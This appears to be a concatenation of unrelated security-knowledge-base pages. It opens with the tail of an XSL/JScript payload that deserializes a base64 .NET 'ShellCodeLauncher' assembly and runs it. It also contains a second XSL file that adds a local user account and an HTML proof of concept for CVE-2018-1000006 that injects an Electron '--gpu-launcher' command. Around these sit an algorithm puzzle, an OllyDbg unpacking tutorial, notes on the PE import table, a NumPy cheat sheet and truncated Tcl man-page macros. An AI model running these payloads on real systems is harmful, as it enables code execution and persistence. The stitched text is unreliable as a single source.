"AIwAAQAAAQsAmQABAGggAAADAASAAAAAAAAAAAAAAAAAAAAAAOQBAAAEAAAAAAAAAAAAAAABADsA"+ "AAAAAAQAAwAAAAA8TW9kdWxlPgB3bWlfY3NfZGxsX3BheWxvYWQuZGxsAFByb2dyYW0AU2hlbGxD"+ "b2RlTGF1bmNoZXIAbXNjb3JsaWIAU3lzdGVtAE9iamVjdAAuY3RvcgBNYWluAE1FTV9DT01NSVQA"+ "UEFHRV9FWEVDVVRFX1JFQURXUklURQBWaXJ0dWFsQWxsb2MAQ3JlYXRlVGhyZWFkAFdhaXRGb3JT"+ "aW5nbGVPYmplY3QAbHBTdGFydEFkZHIAc2l6ZQBmbEFsbG9jYXRpb25UeXBlAGZsUHJvdGVjdABs"+ "cFRocmVhZEF0dHJpYnV0ZXMAZHdTdGFja1NpemUAbHBTdGFydEFkZHJlc3MAcGFyYW0AZHdDcmVh"+ "dGlvbkZsYWdzAGxwVGhyZWFkSWQAaEhhbmRsZQBkd01pbGxpc2Vjb25kcwBTeXN0ZW0uU2VjdXJp"+ "dHkuUGVybWlzc2lvbnMAU2VjdXJpdHlQZXJtaXNzaW9uQXR0cmlidXRlAFNlY3VyaXR5QWN0aW9u"+ "AFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0"+ "dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQB3bWlfY3NfZGxsX3BheWxvYWQA"+ "Qnl0ZQA8UHJpdmF0ZUltcGxlbWVudGF0aW9uRGV0YWlscz57MEQxQTVERjAtRDZCNy00RUUzLUJB"+ "QzItOTY0MUUyREJCMDNFfQBDb21waWxlckdlbmVyYXRlZEF0dHJpYnV0ZQBWYWx1ZVR5cGUAX19T"+ "dGF0aWNBcnJheUluaXRUeXBlU2l6ZT0zNDEAJCRtZXRob2QweDYwMDAwMDItMQBSdW50aW1lSGVs"+ "cGVycwBBcnJheQBSdW50aW1lRmllbGRIYW5kbGUASW5pdGlhbGl6ZUFycmF5AEludFB0cgBvcF9F"+ "eHBsaWNpdABTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMATWFyc2hhbABDb3B5AFplcm8A"+ "RGxsSW1wb3J0QXR0cmlidXRlAGtlcm5lbDMyAC5jY3RvcgBTeXN0ZW0uU2VjdXJpdHkAVW52ZXJp"+ "ZmlhYmxlQ29kZUF0dHJpYnV0ZQAAAAAAAyAAAAAAAPBdGg231uNOusKWQeLbsD4ACLd6XFYZNOCJ"+ "AyAAAQMAAAECBgkHAAQJCQkJCQoABhgJCQkYCRAJBQACCRgJBSABARENBCABAQgEAQAAAAMGERAH"+ "AAIBEikRLQQAARgKCAAEAR0FCBgIAgYYCAcFHQUJGAkYBCABAQ4IAQAIAAAAAAAeAQABAFQCFldy"+ "YXBOb25FeGNlcHRpb25UaHJvd3MBgJ4uAYCEU3lzdGVtLlNlY3VyaXR5LlBlcm1pc3Npb25zLlNl"+ "Y3VyaXR5UGVybWlzc2lvbkF0dHJpYnV0ZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3Vs"+ "dHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5FQFUAhBTa2lwVmVy"+ "aWZpY2F0aW9uAQAAAOgpAAAAAAAAAAAAAP4pAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwKQAA"+ "AAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACAAEAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAAAAAAAAAA"+ "AQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhAAAB0AgAAAAAAAAAAAAB0AjQAAABW"+ "AFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAAAAAAAAAAAAAAAAAAA"+ "PwAAAAAAAAAEAAAAAgAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBuAGYAbwAA"+ "AAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAALAE1AEAAAEAUwB0AHIAaQBuAGcA"+ "RgBpAGwAZQBJAG4AZgBvAAAAsAEAAAEAMAAwADAAMAAwADQAYgAwAAAALAACAAEARgBpAGwAZQBE"+ "AGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAACAAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4A"+ "AAAAADAALgAwAC4AMAAuADAAAABQABcAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAHcAbQBp"+ "AF8AYwBzAF8AZABsAGwAXwBwAGEAeQBsAG8AYQBkAC4AZABsAGwAAAAAACgAAgABAEwAZQBnAGEA"+ "bABDAG8AcAB5AHIAaQBnAGgAdAAAACAAAABYABcAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBu"+ "AGEAbQBlAAAAdwBtAGkAXwBjAHMAXwBkAGwAbABfAHAAYQB5AGwAbwBhAGQALgBkAGwAbAAAAAAA"+ "NAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAADgACAAB"+ "AEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAABA6AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAENAAAABAAAAAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZs"+ "ZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0ZVtdKQgAAAAKCwAA"; var entry_class = 'ShellCodeLauncher.Program'; try { setversion(); var stm = base64ToStream(serialized_obj); var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter'); var al = new ActiveXObject('System.Collections.ArrayList'); var d = fmt.Deserialize_2(stm); al.Add(undefined); var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class); } catch (e) { debug(e.message); } ]]> </ms:script> </stylesheet> ``` **Micropoor_2003.xsl:** ```xml <?xml version='1.0'?> <stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas‐microsoft‐com:xslt" xmlns:user="placeholder" version="1.0"> <output method="text"/> <ms:script implements‐prefix="user" language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("net user Micropoor Micropoor /add"); ]]> </ms:script> </stylesheet> ``` > Micropoor
sec-knowleage
# 13. 机器人的运动范围 [牛客网](https://www.nowcoder.com/practice/6e5207314b5241fb83f2329e89fdecc8?tpId=13&tqId=11219&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 地上有一个 m 行和 n 列的方格。一个机器人从坐标 (0, 0) 的格子开始移动,每一次只能向左右上下四个方向移动一格,但是不能进入行坐标和列坐标的数位之和大于 k 的格子。 例如,当 k 为 18 时,机器人能够进入方格 (35,37),因为 3+5+3+7=18。但是,它不能进入方格 (35,38),因为 3+5+3+8=19。请问该机器人能够达到多少个格子? ## 解题思路 使用深度优先搜索(Depth First Search,DFS)方法进行求解。回溯是深度优先搜索的一种特例,它在一次搜索过程中需要设置一些本次搜索过程的局部状态,并在本次搜索结束之后清除状态。而普通的深度优先搜索并不需要使用这些局部状态,虽然还是有可能设置一些全局状态。 ```java private static final int[][] next = {{0, -1}, {0, 1}, {-1, 0}, {1, 0}}; private int cnt = 0; private int rows; private int cols; private int threshold; private int[][] digitSum; public int movingCount(int threshold, int rows, int cols) { this.rows = rows; this.cols = cols; this.threshold = threshold; initDigitSum(); boolean[][] marked = new boolean[rows][cols]; dfs(marked, 0, 0); return cnt; } private void dfs(boolean[][] marked, int r, int c) { if (r < 0 || r >= rows || c < 0 || c >= cols || marked[r][c]) return; marked[r][c] = true; if (this.digitSum[r][c] > this.threshold) return; cnt++; for (int[] n : next) dfs(marked, r + n[0], c + n[1]); } private void initDigitSum() { int[] digitSumOne = new int[Math.max(rows, cols)]; for (int i = 0; i < digitSumOne.length; i++) { int n = i; while (n > 0) { digitSumOne[i] += n % 10; n /= 10; } } this.digitSum = new int[rows][cols]; for (int i = 0; i < this.rows; i++) for (int j = 0; j < this.cols; j++) this.digitSum[i][j] = digitSumOne[i] + digitSumOne[j]; } ```
sec-knowleage
# 单步跟踪法 单步跟踪法的原理就是通过Ollydbg的步过(F8), 步入(F7)和运行到(F4)功能, 完整走过程序的自脱壳过程, 跳过一些循环恢复代码的片段, 并用单步进入确保程序不会略过OEP. 这样可以在软件自动脱壳模块运行完毕后, 到达OEP, 并dump程序. ## 要点 1. 打开程序按F8单步向下, 尽量实现向下的jmp跳转 2. 会经常遇到大的循环, 这时要多用 F4 来跳过循环 3. 如果函数载入时不远处就是一个call(近call), 那么我们尽量不要直接跳过, 而是进入这个call 4. 一般跳转幅度大的jmp指令, 都极有可能是跳转到了原程序入口点(OEP) ## 示例 示例程序可以点击此处下载: [1_trace.zip](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/unpack/example/1_trace.zip) 单步跟踪法其实就是一步一步尽量从程序入口点往下走, 在单步的过程中注意EIP不要跑偏了, 但是对于一些比较复杂的壳而言, 单步的过程会显得异常枯燥而且容易把自己绕晕. 所以单步跟踪也常用于分析一些关键代码部分(跟静态分析相结合), 而不是完全地从头分析到尾, 这有违逆向工程的理念. 用Ollydbg打开压缩包内的Notepad.exe, 停在了下图位置. 入口点是一个`pushad`保存所有寄存器状态到栈中, 随后便是一个`call`调用位于`0040D00A`处的函数. 调用后便无条件跳转到`459DD4F7`处, 之后的`push ebp`和`retn`显然没有任何意义. 像这种入口点附近就是一个`call`的我们称为`近call`, 对于近call我们选择步进, 按下F7(当然你也只能选择步进, 不然EIP就跑偏程序停止了). 步进后又是一个`call`, 我们继续步进, 按F7, 跟进后发现没有近call了, 我们可以看到程序在调`GetModuleHandleA`, `GetProcAddress`等API, 继续向下分析. 之后会遇到多个跳转,我们尽量满足向下的跳转,对于向上的跳转不予实现并利用F4跳出循环,直到`0040D3AF`处, 我们看以下的代码 ``` asm 0040D3AF 61 popad 0040D3B0 75 08 jnz short NotePad.0040D3BA 0040D3B2 B8 01000000 mov eax,0x1 0040D3B7 C2 0C00 retn 0xC 0040D3BA 68 CC104000 push NotePad.004010CC 0040D3BF C3 retn ``` 这里`popad`可以恢复在程序入口点处保存的寄存器状态, 然后`jnz`跳转到`0040D3BA`处, 这里是利用`push`和`retn`来将`EIP`改变为`004010CC`, 也就是说在壳解压完代码等资源完毕后, 将通过`jnz`跳转到`push`处, 然后通过`push`和`ret`将`EIP`设置为程序原来的入口点(OEP)并返回到OEP处, 然后继续执行原程序的代码. 我们执行到`retn`返回后, 可以看到如下: 显然, 我们到了一堆被`Ollydbg`误认为是数据的地方继续执行, 显然`Ollydbg`分析错误了, 我们需要让`Ollydbg`重新分析, 我们可以右键选择`分析->从模块中删除分析`, 或是按下`ctrl+a`, 这时正确地显示出OEP处的汇编指令.
sec-knowleage
### 导入表概述 当可执行文件使用外来 DLL 的代码或数据时,需要 Windows 装载器记录所有要导入的函数和数据,并将 DLL 装载到可执行文件的虚拟地址空间中;装载器会确保可执行文件运行需要的所有 DLL 都被装载。 但对于可执行文件,它无法确定导入函数在内存中的位置,于是 Windows 装载器在装载 DLL 时将定位导入函数需要的信息写入到 IAT(Import Address Table,导入地址表)。待执行中遇到导入函数的调用时,就通过 IAT 确定导入函数在内存中的位置。 导入表相关数据包括 `IMAGE_IMPORT_DESCRIPTOR` 和 `IMAGE_IMPORT_BY_NAME` 以及相应的字符串数据。导入表是用来修正并存储 DLL 装载进内存后对应函数实际地址的数据节。 ### INT 与 IAT概述 `DataDirectory[1]` 处保存着 IMPORT TABLE(即导入表)的 RVA。该 RVA 指向 `IMAGE_IMPORT_DESCRIPTOR` 结构体数组,`IMAGE_IMPORT_DESCRIPTOR` 结构体记录着 PE 文件导入库文件所需的信息。 ```c typedef struct _IMAGE_IMPORT_DESCRIPTOR { union { DWORD Characteristics; DWORD OriginalFirstThunk; // 导入名称表 `INT` 的 RVA }; DWORD TimeDateStamp; DWORD ForwarderChain; DWORD Name; // 库名称字符串 RVA DWORD FirstThunk; // 导入地址表 `IAT` 的 RVA } IMAGE_IMPORT_DESCRIPTOR; ``` 接下来对结构体中重要的成员说明一下: - **`OriginalFirstThunk` 指向 INT(Import Name Table)。** - **`Name` 指向导入函数所属的库文件名称。** - **`FirstThunk` 指向 IAT(Import Address Table)。** `INT` 与 `IAT` 也并称做双桥结构。`INT` 数组中的每一个指针都指向一个 `IMAGE_IMPORT_BY_NAME` 结构体,文件中 `IAT` 也是。`IMAGE_IMPORT_BY_NAME` 结构体记录着导入函数所需的信息。 ```c typedef struct _IMAGE_IMPORT_BY_NAME { WORD Hint; // BYTE Name[1]; // 函数名称字符串 } IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME; ``` - **`Hint` 成员表示函数的编号。通常在 DLL 中对每一个函数都进行了编号,定位函数时可以通过名称定位,也可以通过编号定位。** - **`Name[1]` 成员是一个以 "\0" 为结尾的 ANSI 字符串,表示函数名称。** 接下来看一下示例文件中的 `IMAGE_IMPORT_DESCRIPTOR` 结构体数组: ```text RVA Data Description Value ---------------------------------------------------------- 00006000 0000603C Import Name Table RVA 00006004 00000000 Time Data Stamp 00006008 00000000 Forward Chain 0000600C 000064D8 Name RVA KERNEL32.dll 00006010 00006100 Import Address Table RVA ---------------------------------------------------------- 00006014 0000608C Import Name Table RVA 00006018 00000000 Time Data Stamp 0000601C 00000000 Forward Chain 00006020 00006558 Name RVA msvcrt.dll 00006024 00006150 Import Address Table RVA ---------------------------------------------------------- 00006028 00000000 0000602C 00000000 00006030 00000000 00006034 00000000 00006038 00000000 ---------------------------------------------------------- ``` 可以看到虽然两者指向的是不同的位置,但是两者保存的数据却完全相同。为什么完全相同的结构体要保存两份呐?这就需要先了解 `INT` 和 `IAT` 的作用,以及它们之间的关系。首先看一下文件中 `INT` 与 `IAT` 之间的关系。 两者虽说是不同的指针,但指针内容完全相同,最终也都指向同样的结构体数组。也就是说,如果要定位一个库文件中的函数,既能通过 `INT` 定位,也能通过 `IAT` 定位。 当程序装载到内存时,会将导入函数的地址写入到 `IAT` 中,以方便引用。IAT 更新地址值的过程如下: 1. 读取 `IMAGE_IMPORT_DESCRIPTOR` 的 `Name` 成员,获取库名称字符串 "KERNEL32.dll" 2. 装载对应的库 -> `LoadLibrary["KERNEL32.dll"]` 3. 读取 `IMAGE_IMPORT_DESCRIPTOR` 的 `OriginalFirstThunk` 成员,获取 `INT` 地址 4. 读取 `INT` 数组中的值,获取对应 `IMAGE_IMPORT_BY_NAME` 结构体地址 5. 读取 `IMAGE_IMPORT_BY_NAME` 的 `Hint` 或 `Name` 成员,获取对应函数的起始地址 -> `GetProcAddress('DeleteCriticalSection')` 6. 读取 `IMAGE_IMPORT_DESCRIPTOR` 的 `FirstThunk` 成员,获取 `IAT` 地址 7. 将第 5 步得到的函数地址写入到 `IAT` 数组中对应的项 8. 重复 4 - 7 步,直到 `INT` 结束(即遇到NULL时) **在内存中,通过 `INT` 可以找到函数的名称或函数的编号,通过 `IAT` 可以找到函数指令代码在内存空间中的实际地址。** ### 绑定导入方式 绑定导入是一种提高 PE 加载速度的技术。它只影响加载的过程,并不影响 PE 最终的加载结果和运行结果。如果一个 PE 文件要导入的函数很多,那么在装载时就会占用一部分时间来完成函数导入,这会使得 PE 的装载时间变长。**绑定导入将 IAT 地址的修正工作提前到装载前进行。要么由用户手动完成,要么由专门的绑定工具完成;然后在 PE 文件中声明绑定导入数据,以此告诉装载器不必重复装载。** 但是在 Windows 的不同系统中动态链接库的基址是不同的,这样就导致绑定的地址出错而导致程序无法运行。这点也容易解决。**假定 PE 装载前对 IAT 的修正都是正确的,那么运行时就省去了修正的步骤;同样 PE 装载有检错机制,如果检测出错误,PE 加载器会在装载时重新对 IAT 进行修正。** **总的来说,Windows 在装载目标 PE 文件相关的动态链接库时,会首先检查这些地址是否正确合法,包括检查当前系统的 DLL 版本是否符合绑定导入结构中描述的版本号哦,如果不符合或者 DLL 需要被重新定位,装载器就会遍历 OriginalFirstThunk 指向的数组计算新的地址,并将新的地址写入到 IAT 中。**
sec-knowleage
<!DOCTYPE html> <html> <head> <title>CVE-2018-1000006 POC</title> </head> <body> <h1>CVE-2018-1000006 POC</h1> <p>download the <a href="./vulhub-app.tar.gz">vulhub-app.tar.gz</a></p> <p>and <a href='vulhub://example.com/" "--no-Sandbox" "--gpu-launcher=calc.exe'>click me</a></p> </body> </html>
sec-knowleage
--- title: Numpy date: 2020-12-14 18:28:43 background: bg-[#4f6fc3] tags: - scientific - computing categories: - Python intro: | [NumPy](https://numpy.org/) is the fundamental package for scientific computing with Python. This cheat sheet is a quick reference for NumPy beginners. plugins: - copyCode --- Getting Started {.cols-2} --------------- ### Introduction You’ll also need to import numpy to get started: ```python import numpy as np ``` ### Importing/exporting | - | - | |--------------------------------------------|-----------------------| | `np.loadtxt('file.txt')` | From a text file | | `np.genfromtxt('file.csv',delimiter=',')` | From a CSV file | | `np.savetxt('file.txt',arr,delimiter=' ')` | Writes to a text file | | `np.savetxt('file.csv',arr,delimiter=',')` | Writes to a CSV file | ### Creating Arrays {.row-span-2} | - | - | |-------------------------------|-----------------------------------| | `np.array([1,2,3])` | One dimensional array | | `np.array([(1,2,3),(4,5,6)])` | Two dimensional array | | `np.zeros(3)` | 1D array of length 3 all values 0 | | `np.ones((3,4))` | 3x4 array with all values 1 | | `np.eye(5)` | 5x5 array of 0 with 1 on diagonal (Identity matrix) | `np.linspace(0,100,6)` | Array of 6 evenly divided values from 0 to 100 | | `np.arange(0,10,3)` | Array of values from 0 to less than 10 with step 3 (eg [0,3,6,9]) | `np.full((2,3),8)` | 2x3 array with all values 8 | | `np.random.rand(4,5)` | 4x5 array of random floats between 0–1 | | `np.random.rand(6,7)*100` | 6x7 array of random floats between 0–100 | | `np.random.randint(5,size=(2,3))` | 2x3 array with random ints between 0–4 | ### Inspecting Properties | - | - | |------------|-----------------------------------| | `arr.size` | Returns number of elements in arr | | `arr.shape` | Returns dimensions of arr (rows,columns) | `arr.dtype` | Returns type of elements in arr | | `arr.astype(dtype)` | Convert arr elements to type dtype | | `arr.tolist()` | Convert arr to a Python list | | `np.info(np.eye)` | View documentation for np.eye | ### Copying/sorting/reshaping | - | - | |-----------------------|----------------------------------------------| | `np.copy(arr)` | Copies arr to new memory | | `arr.view(dtype)` | Creates view of arr elements with type dtype | | `arr.sort()` | Sorts arr | | `arr.sort(axis=0)` | Sorts specific axis of arr | | `two_d_arr.flatten()` | Flattens 2D array two_d_arr to 1D | | `arr.T` | Transposes arr (rows become columns and vice versa) | `arr.reshape(3,4)` | Reshapes arr to 3 rows, 4 columns without changing data | | `arr.resize((5,6))` | Changes arr shape to 5x6 and fills new values with 0 | ### Adding/removing Elements | - | - | |---------------------------|----------------------------------------| | `np.append(arr,values)` | Appends values to end of arr | | `np.insert(arr,2,values)` | Inserts values into arr before index 2 | | `np.delete(arr,3,axis=0)` | Deletes row on index 3 of arr | | `np.delete(arr,4,axis=1)` | Deletes column on index 4 of arr | ### Combining/splitting | - | - | |--------------------------------------|------------------------------------------| | `np.concatenate((arr1,arr2),axis=0)` | Adds arr2 as rows to the end of arr1 | | `np.concatenate((arr1,arr2),axis=1)` | Adds arr2 as columns to end of arr1 | | `np.split(arr,3)` | Splits arr into 3 sub-arrays | | `np.hsplit(arr,5)` | Splits arr horizontally on the 5th index | ### Indexing/slicing/subsetting | - | - | |----------|--------------------------------| | `arr[5]` | Returns the element at index 5 | | `arr[2,5]` | Returns the 2D array element on index [2][5] | `arr[1]=4` | Assigns array element on index 1 the value 4 | | `arr[1,3]=10` | Assigns array element on index [1][3] the value 10 | | `arr[0:3]` | Returns the elements at indices 0,1,2 (On a 2D array: returns rows 0,1,2) | `arr[0:3,4]` | Returns the elements on rows 0,1,2 at column 4 | | `arr[:2]` | Returns the elements at indices 0,1 (On a 2D array: returns rows 0,1) | `arr[:,1]` | Returns the elements at index 1 on all rows | | `arr<5` | Returns an array with boolean values | | `(arr1<3) & (arr2>5)` | Returns an array with boolean values | | `~arr` | Inverts a boolean array | | `arr[arr<5]` | Returns array elements smaller than 5 | ### Vector Math | - | - | |-----------------------------|-------------------------------------------------------------| | `np.add(arr1,arr2)` | Elementwise add arr2 to arr1 | | `np.subtract(arr1,arr2)` | Elementwise subtract arr2 from arr1 | | `np.multiply(arr1,arr2)` | Elementwise multiply arr1 by arr2 | | `np.divide(arr1,arr2)` | Elementwise divide arr1 by arr2 | | `np.power(arr1,arr2)` | Elementwise raise arr1 raised to the power of arr2 | | `np.array_equal(arr1,arr2)` | Returns True if the arrays have the same elements and shape | | `np.sqrt(arr)` | Square root of each element in the array | | `np.sin(arr)` | Sine of each element in the array | | `np.log(arr)` | Natural log of each element in the array | | `np.abs(arr)` | Absolute value of each element in the array | | `np.ceil(arr)` | Rounds up to the nearest int | | `np.floor(arr)` | Rounds down to the nearest int | | `np.round(arr)` | Rounds to the nearest int | ### Scalar Math | - | - | |----------------------|------------------------------------| | `np.add(arr,1)` | Add 1 to each array element | | `np.subtract(arr,2)` | Subtract 2 from each array element | | `np.multiply(arr,3)` | Multiply each array element by 3 | | `np.divide(arr,4)` | Divide each array element by 4 (returns np.nan for division by zero) | `np.power(arr,5)` | Raise each array element to the 5th power | ### Statistics | - | - | |-----------------------|-------------------------------------------------| | `np.mean(arr,axis=0)` | Returns mean along specific axis | | `arr.sum()` | Returns sum of arr | | `arr.min()` | Returns minimum value of arr | | `arr.max(axis=0)` | Returns maximum value of specific axis | | `np.var(arr)` | Returns the variance of array | | `np.std(arr,axis=1)` | Returns the standard deviation of specific axis | | `arr.corrcoef()` | Returns correlation coefficient of array |
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1997 Sun Microsystems, Inc. '\" Copyright (c) 1993-1997 Bell Labs Innovations for Lucent Technologies '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: info.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: info.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t 